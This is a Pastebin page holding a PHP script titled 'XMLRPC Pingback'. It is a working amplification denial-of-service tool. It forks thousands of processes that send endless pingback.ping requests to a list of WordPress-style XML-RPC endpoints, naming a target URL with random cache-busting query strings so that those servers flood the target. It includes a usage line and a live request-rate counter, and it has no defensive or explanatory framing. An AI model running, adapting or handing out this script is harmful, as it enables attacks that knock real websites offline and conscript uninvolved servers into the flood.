Advertisement
TP2K1

( PHP Version ) XMLRPC Pingback

Jun 1st, 2015
687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.63 KB | None | 0 0
  1. Note: How To use php xml.php xml.txt 10000
  2. <?php
  3.  
  4. function partition( $list, $p ) {
  5. $listlen = count( $list );
  6. $partlen = floor( $listlen / $p );
  7. $partrem = $listlen % $p;
  8. $partition = array();
  9. $mark = 0;
  10. for ($px = 0; $px < $p; $px++) {
  11. $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
  12. $partition[$px] = array_slice( $list, $mark, $incr );
  13. $mark += $incr;
  14. }
  15. return $partition;
  16. }
  17.  
  18. $part = array();
  19. $array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  20. $childcount = $argv[2];
  21. $part = partition($array, $childcount);
  22.  
  23. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  24. shmop_close($shm_id);
  25.  
  26. if(pcntl_fork() == 0)
  27. {
  28. $sem = sem_get(13377331, 1, 0666, 1);
  29. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  30. $total = 0;
  31. while(true)
  32. {
  33. sem_acquire($sem);
  34. $number = shmop_read($shm_id, 0, 1024);
  35. $total += $number;
  36. $string = array();
  37. array_push($string, $number);
  38. array_push($string, " R/s ");
  39. array_push($string, $total);
  40. array_push($string, " Total Requests \r");
  41. echo implode("", $string);
  42. unset($string);
  43. shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
  44. sem_release($sem);
  45. sleep(1);
  46. }
  47.  
  48. exit;
  49. }
  50.  
  51. for($i = 0; $i < $childcount; $i ++)
  52. {
  53. $pid = pcntl_fork();
  54. if ($pid == -1) {
  55. echo "failed to fork on loop $i of forking\n";
  56. exit;
  57. } else if ($pid) {
  58. continue;
  59. } else {
  60. $sem = sem_get(13377331, 1, 0666, 1);
  61. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  62. while(true)
  63. {
  64. foreach($part[$i] as $ip)
  65. {
  66.  
  67. list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
  68. $url = array();
  69. array_push($url, $argv[1]);
  70. array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
  71. array_push($url, rand(1000000, 9999999));
  72. array_push($url, "=");
  73. array_push($url, rand(1000000, 9999999));
  74. $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
  75. unset($url);
  76. $context = stream_context_create(array('http' => array(
  77. 'method' => "POST",
  78. 'header' => "Content-Type: text/xml",
  79. 'content' => $request
  80. )));
  81. @file_get_contents($service, false, $context);
  82. sem_acquire($sem);
  83. $number = shmop_read($shm_id, 0, 1024);
  84. $number = intval($number);
  85. $number++;
  86. shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
  87. sem_release($sem);
  88. }
  89. }
  90. die;
  91. }
  92. }
  93.  
  94. for($j = 0; $j < $childcount; $j++)
  95. {
  96. $pid = pcntl_wait($status);
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement